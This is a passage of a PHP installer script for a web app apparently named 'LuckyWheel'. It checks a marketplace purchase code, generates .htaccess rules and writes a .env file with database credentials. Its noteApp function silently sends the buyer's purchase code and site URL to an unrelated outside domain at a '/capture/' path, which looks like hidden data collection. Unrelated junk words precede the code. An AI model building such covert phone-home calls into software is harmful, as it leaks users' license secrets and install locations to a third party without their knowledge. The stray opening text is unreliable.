tasslihorec
sfaxoistadet
bintestcss
ENVANTO_API_URL . $code,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 20,
CURLOPT_HTTPHEADER => array(
"Authorization: Bearer " . PERSONAL_TOKEN,
"User-Agent: Purchase code verification script"
)
));
$response = @curl_exec($ch);
$responseCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_errno($ch) > 0) {
throw new Exception("Failed to connect: " . curl_error($ch));
}
switch ($responseCode) {
case 404: throw new Exception("Invalid purchase code");
case 403: throw new Exception("The personal token is missing the required permission for this script");
case 401: throw new Exception("The personal token is invalid or has been deleted");
}
if ($responseCode !== 200) {
throw new Exception("Got status {$responseCode}, try again shortly");
}
$body = json_decode($response);
if ($body === false && json_last_error() !== JSON_ERROR_NONE) {
throw new Exception("Error parsing response, try again");
}
//var_dump($body);exit;
return $body;
}
function getHtAcPub()
{
$ht = PHP_EOL . "Options All -Indexes +ExecCGI +Includes +IncludesNOEXEC +SymLinksIfOwnerMatch" . PHP_EOL;
$ht .= "IndexIgnore *" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= " Options +FollowSymlinks" . PHP_EOL;
$ht .= " RewriteEngine On" . PHP_EOL;
$ht .= " RewriteCond %{REQUEST_FILENAME} !-d" . PHP_EOL;
$ht .= " RewriteCond %{REQUEST_URI} (.+)/$" . PHP_EOL;
$ht .= " RewriteRule ^ %1 [L,R=301]" . PHP_EOL;
$ht .= " RewriteCond %{HTTPS} !=on" . PHP_EOL;
$ht .= " RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]" . PHP_EOL;
$ht .= " RewriteRule ^ http://%1%{REQUEST_URI} [R=301,L]" . PHP_EOL;
$ht .= " RewriteCond %{REQUEST_FILENAME} !-f" . PHP_EOL;
$ht .= " RewriteCond %{REQUEST_FILENAME} !-d" . PHP_EOL;
$ht .= " RewriteRule ^([\s\S]*)$ index.php/$1 [L,NC,QSA]" . PHP_EOL;
$ht .= " RewriteCond %{HTTP:Authorization} ." . PHP_EOL;
$ht .= " RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= " ErrorDocument 404 index.php" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " Require all denied" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " Require all denied" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " Require all denied" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " Require all denied" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= " ServerSignature Off" . PHP_EOL;
return $ht;
}
function getHtAc()
{
$ht = PHP_EOL . "Options All -Indexes +ExecCGI +Includes +IncludesNOEXEC +SymLinksIfOwnerMatch" . PHP_EOL;
$ht .= "IndexIgnore *" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= " Options +FollowSymlinks" . PHP_EOL;
$ht .= " RewriteEngine On" . PHP_EOL;
$ht .= " RewriteRule ^(.*)$ public/$1 [L]" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= " ErrorDocument 404 index.php" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " Require all denied" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " Require all denied" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " Require all denied" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= " Require all denied" . PHP_EOL;
$ht .= " " . PHP_EOL;
$ht .= "" . PHP_EOL;
$ht .= " ServerSignature Off" . PHP_EOL;
return $ht;
}
function noteApp($pc, $url)
{
return file_get_contents("https://gadaibpkbmobil.my.id/capture/?app=LuckyWheel&pc=" . $pc . "&via=envanto&url=" . $url);
}
function getEnvApp($url, $dbHost, $dbUser, $dbPass, $dbName)
{
$url = rtrim($url, '/') . '/';
$env = "CI_ENVIRONMENT = production" . PHP_EOL;
$env .= "app.baseURL = '" . $url . "'" . PHP_EOL;
$env .= "database.default.hostname = " . $dbHost . PHP_EOL;
$env .= "database.default.database = " . $dbName . PHP_EOL;
$env .= "database.default.username = " . $dbUser . PHP_EOL;
$env .= "database.default.password = " . $dbPass . PHP_EOL;
$env .= "database.default.DBDriver = MySQLi" . PHP_EOL;
$env .= "database.default.DBPrefix =" . PHP_EOL;
$env .= "database.default.port = 3306" . PHP_EOL;
$env .= "security.csrfProtection = 'cookie'" . PHP_EOL;
$env .= "security.tokenRandomize = true" . PHP_EOL;
$env .= "security.tokenName = 'token_spin'" . PHP_EOL;
$env .= "security.headerName = 'X-CSRF-TOKEN'" . PHP_EOL;
$env .= "security.cookieName = 'xxx_cookie_name'" . PHP_EOL;
$env .= "security.expires = 7200" . PHP_EOL;
$env .= "security.regenerate = true" . PHP_EOL;
$env .= "security.redirect = true" . PHP_EOL;
$env .= "security.samesite = 'Lax'" . PHP_EOL;
return $env;
}
ob_start();
?>